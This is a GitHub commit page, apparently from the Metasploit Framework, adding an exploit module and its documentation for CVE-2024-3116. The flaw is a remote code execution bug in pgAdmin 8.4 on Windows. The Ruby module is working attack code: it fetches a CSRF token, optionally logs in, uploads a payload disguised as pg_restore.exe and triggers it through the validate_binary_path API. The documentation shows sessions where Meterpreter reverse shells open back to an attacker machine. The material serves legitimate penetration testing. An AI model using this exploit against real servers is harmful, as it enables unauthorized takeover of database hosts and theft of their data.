-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19422, pgAdmin 8.4 RCE / CVE-2024-3116
- Loading branch information
Showing
2 changed files
with
337 additions
and
0 deletions.
There are no files selected for viewing
99 changes: 99 additions & 0 deletions
99
documentation/modules/exploit/windows/http/pgadmin_binary_path_api.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,99 @@ | ||
## Vulnerable Application | ||
The pgAdmin versions up to 8.4 are vulnerable to a Remote Code Execution (RCE) flaw through the validate binary path API. | ||
This vulnerability allows attackers to run arbitrary code on the server hosting pgAdmin, which poses a significant | ||
threat to the integrity of the database management system and the security of its underlying data. | ||
|
||
The exploit can be executed in both authenticated and unauthenticated scenarios. When valid credentials are available, | ||
Metasploit can log in to pgAdmin, upload a malicious payload using the file management plugin, and then execute it via | ||
the validate_binary_path endpoint. This vulnerability is specific to Windows targets. If authentication is not required | ||
by the application, Metasploit can directly upload and trigger the payload through the validate_binary_path endpoint. | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
1. Start msfconsole | ||
1. Do: `use exploit/multi/http/pgadmin_binary_path_api` | ||
1. Set the `RHOST`, `PAYLOAD`, and optionally the `USERNAME` and `PASSWORD` options | ||
1. Do: `run` | ||
|
||
|
||
### Installation (Windows) | ||
|
||
These steps are the bare minimum to get the application to run for testing and should not be use for a production setup. | ||
For a production setup, a server like Apache should be setup to run pgAdmin through it's WSGI interface. | ||
|
||
**The following paths are all relative to the default installation path `C:\Program Files\pgAdmin 4\web`**. | ||
|
||
1. [Download][1] and install the Windows build | ||
1. Copy the `config_distro.py` file to `config_local.py` | ||
1. Edit `config_local.py` and set `SERVER_MODE` to `True` | ||
1. Edit `config_local.py` and add `DEFAULT_SERVER = '0.0.0.0'` to bind on all IPs, required for remotely exploiting from a different machine | ||
1. Initialize the database: `..\python\python.exe setup.py setup-db` | ||
1. Create an initial user account: `..\python\python.exe setup.py add-user --admin [email protected] 123456` | ||
1. Run the application: `..\python\python.exe pgAdmin4.py` | ||
|
||
## Scenarios | ||
Specific demo of using the module that might be useful in a real world scenario. | ||
|
||
### pgAdmin 8.4 on Windows (Authenticated) | ||
|
||
``` | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.5 | ||
RHOSTS => 192.168.1.5 | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > set USERNAME [email protected] | ||
USERNAME => [email protected] | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > set PASSWORD 123456 | ||
PASSWORD => 123456 | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 | ||
LHOST => 192.168.1.6 | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit | ||
[*] Started reverse TCP handler on 192.168.1.6:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. pgAdmin version 8.4.0 is affected | ||
[*] Successfully authenticated to pgAdmin | ||
[*] Payload uploaded to: C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe | ||
[*] Sending stage (201798 bytes) to 192.168.1.5 | ||
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:52588) at 2024-08-26 19:48:10 +0200 | ||
[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\Desktop\CVE-2024-3116\pgadmin4\storage\test_test.com/pg_restore.exe' on the target | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-FMNV75N | ||
OS : Windows 10 (10.0 Build 19045). | ||
Architecture : x64 | ||
System Language : en_US | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` | ||
|
||
### pgAdmin 8.4 on Windows (Unauthenticated) | ||
|
||
``` | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > set RHOSTS 192.168.1.7 | ||
RHOSTS => 192.168.1.7 | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > set LHOST 192.168.1.6 | ||
LHOST => 192.168.1.6 | ||
msf6 exploit(windows/http/pgadmin_binary_path_api) > exploit | ||
[*] Started reverse TCP handler on 192.168.1.6:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target is vulnerable. pgAdmin version 8.4.0 is affected | ||
[*] Payload uploaded to: C:\Users\pgAdmin\pg_restore.exe | ||
[*] Sending stage (200774 bytes) to 192.168.1.7 | ||
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.7:55560) at 2024-08-26 19:51:01 +0200 | ||
[!] This exploit may require manual cleanup of 'C:\Users\pgAdmin\pg_restore.exe' on the target | ||
meterpreter > sysinfo | ||
Computer : DESKTOP-HTGS43E | ||
OS : Windows 10 (10.0 Build 22000). | ||
Architecture : x64 | ||
System Language : en_GB | ||
Domain : WORKGROUP | ||
Logged On Users : 1 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` |
238 changes: 238 additions & 0 deletions
238
modules/exploits/windows/http/pgadmin_binary_path_api.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,238 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::FileDropper | ||
include Msf::Exploit::EXE | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'pgAdmin Binary Path API RCE', | ||
'Description' => %q{ | ||
pgAdmin <= 8.4 is affected by a Remote Code Execution (RCE) | ||
vulnerability through the validate binary path API. This vulnerability | ||
allows attackers to execute arbitrary code on the server hosting PGAdmin, | ||
posing a severe risk to the database management system's integrity and the security of the underlying data. | ||
Tested on pgAdmin 8.4 on Windows 10 both authenticated and unauthenticated. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'M.Selim Karahan', # metasploit module | ||
'Mustafa Mutlu', # lab prep. and QA | ||
'Ayoub Mokhtar' # vulnerability discovery and write up | ||
], | ||
'References' => [ | ||
[ 'CVE', '2024-3116'], | ||
[ 'URL', 'https://ayoubmokhtar.com/post/remote_code_execution_pgadmin_8.4-cve-2024-3116/'], | ||
[ 'URL', 'https://www.vicarius.io/vsociety/posts/remote-code-execution-vulnerability-in-pgadmin-cve-2024-3116'] | ||
], | ||
'Platform' => ['windows'], | ||
'Arch' => ARCH_X64, | ||
'Targets' => [ | ||
[ 'Automatic Target', {}] | ||
], | ||
'DisclosureDate' => '2024-03-28', | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [ CRASH_SAFE, ], | ||
'Reliability' => [ REPEATABLE_SESSION, ], | ||
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ] | ||
} | ||
) | ||
) | ||
register_options( | ||
[ | ||
Opt::RPORT(8000), | ||
OptString.new('USERNAME', [ false, 'User to login with', '']), | ||
OptString.new('PASSWORD', [ false, 'Password to login with', '']), | ||
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
version = get_version | ||
return CheckCode::Unknown('Unable to determine the target version') unless version | ||
return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.5') | ||
|
||
CheckCode::Vulnerable("pgAdmin version #{version} is affected") | ||
end | ||
|
||
def set_csrf_token_from_login_page(res) | ||
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ | ||
@csrf_token = Regexp.last_match(1) | ||
# at some point between v7.0 and 7.7 the token format changed | ||
elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first) | ||
@csrf_token = element['value'] | ||
end | ||
end | ||
|
||
def set_csrf_token_from_config(res) | ||
if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/ | ||
@csrf_token = Regexp.last_match(1) | ||
# at some point between v7.0 and 7.7 the token format changed | ||
else | ||
@csrf_token = res.body.scan(/pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'/)&.flatten&.first | ||
end | ||
end | ||
|
||
def auth_required? | ||
res = send_request_cgi('uri' => normalize_uri(target_uri.path), 'keep_cookies' => true) | ||
if res&.code == 302 && res.headers['Location']['login'] | ||
true | ||
elsif res&.code == 302 && res.headers['Location']['browser'] | ||
false | ||
end | ||
end | ||
|
||
def on_windows? | ||
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true) | ||
if res&.code == 200 | ||
platform = res.body.scan(/pgAdmin\['platform'\]\s*=\s*'([^']+)';/)&.flatten&.first | ||
return platform == 'win32' | ||
end | ||
end | ||
|
||
def get_version | ||
if auth_required? | ||
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) | ||
else | ||
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/'), 'keep_cookies' => true) | ||
end | ||
html_document = res&.get_html_document | ||
return unless html_document && html_document.xpath('//title').text == 'pgAdmin 4' | ||
|
||
# there's multiple links in the HTML that expose the version number in the [X]XYYZZ, | ||
# see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27 | ||
versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ } | ||
return unless versioned_link | ||
|
||
Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}") | ||
end | ||
|
||
def csrf_token | ||
return @csrf_token if @csrf_token | ||
|
||
if auth_required? | ||
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true) | ||
set_csrf_token_from_login_page(res) | ||
else | ||
res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'browser/js/utils.js'), 'keep_cookies' => true) | ||
set_csrf_token_from_config(res) | ||
end | ||
fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token | ||
@csrf_token | ||
end | ||
|
||
def exploit | ||
if auth_required? && !(datastore['USERNAME'].present? && datastore['PASSWORD'].present?) | ||
fail_with(Failure::BadConfig, 'The application requires authentication, please provide valid credentials') | ||
end | ||
|
||
if auth_required? | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'authenticate/login'), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'vars_post' => { | ||
'csrf_token' => csrf_token, | ||
'email' => datastore['USERNAME'], | ||
'password' => datastore['PASSWORD'], | ||
'language' => 'en', | ||
'internal_button' => 'Login' | ||
} | ||
}) | ||
|
||
unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login') | ||
fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin') | ||
end | ||
|
||
print_status('Successfully authenticated to pgAdmin') | ||
end | ||
|
||
unless on_windows? | ||
fail_with(Failure::BadConfig, 'This exploit is specific to Windows targets!') | ||
end | ||
file_name = 'pg_restore.exe' | ||
file_manager_upload_and_trigger(file_name, generate_payload_exe) | ||
rescue ::Rex::ConnectionError | ||
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") | ||
end | ||
|
||
# file manager code is copied from pgadmin_session_deserialization module | ||
|
||
def file_manager_init | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, 'file_manager/init'), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'ctype' => 'application/json', | ||
'headers' => { 'X-pgA-CSRFToken' => csrf_token }, | ||
'data' => { | ||
'dialog_type' => 'storage_dialog', | ||
'supported_types' => ['sql', 'csv', 'json', '*'], | ||
'dialog_title' => 'Storage Manager' | ||
}.to_json | ||
}) | ||
|
||
unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId')) && (home_folder = res.get_json_document.dig('data', 'options', 'homedir')) | ||
fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction Id or home folder') | ||
end | ||
|
||
return trans_id, home_folder | ||
end | ||
|
||
def file_manager_upload_and_trigger(file_path, file_contents) | ||
trans_id, home_folder = file_manager_init | ||
|
||
form = Rex::MIME::Message.new | ||
form.add_part( | ||
file_contents, | ||
'application/octet-stream', | ||
'binary', | ||
"form-data; name=\"newfile\"; filename=\"#{file_path}\"" | ||
) | ||
form.add_part('add', nil, nil, 'form-data; name="mode"') | ||
form.add_part(home_folder, nil, nil, 'form-data; name="currentpath"') | ||
form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"') | ||
|
||
res = send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'ctype' => "multipart/form-data; boundary=#{form.bound}", | ||
'headers' => { 'X-pgA-CSRFToken' => csrf_token }, | ||
'data' => form.to_s | ||
}) | ||
unless res&.code == 200 && res.get_json_document['success'] == 1 | ||
fail_with(Failure::UnexpectedReply, 'Failed to upload file contents') | ||
end | ||
|
||
upload_path = res.get_json_document.dig('data', 'result', 'Name') | ||
register_file_for_cleanup(upload_path) | ||
print_status("Payload uploaded to: #{upload_path}") | ||
|
||
send_request_cgi({ | ||
'uri' => normalize_uri(target_uri.path, '/misc/validate_binary_path'), | ||
'method' => 'POST', | ||
'keep_cookies' => true, | ||
'ctype' => 'application/json', | ||
'headers' => { 'X-pgA-CSRFToken' => csrf_token }, | ||
'data' => { | ||
'utility_path' => upload_path[0..upload_path.size - 16] | ||
}.to_json | ||
}) | ||
|
||
true | ||
end | ||
|
||
end |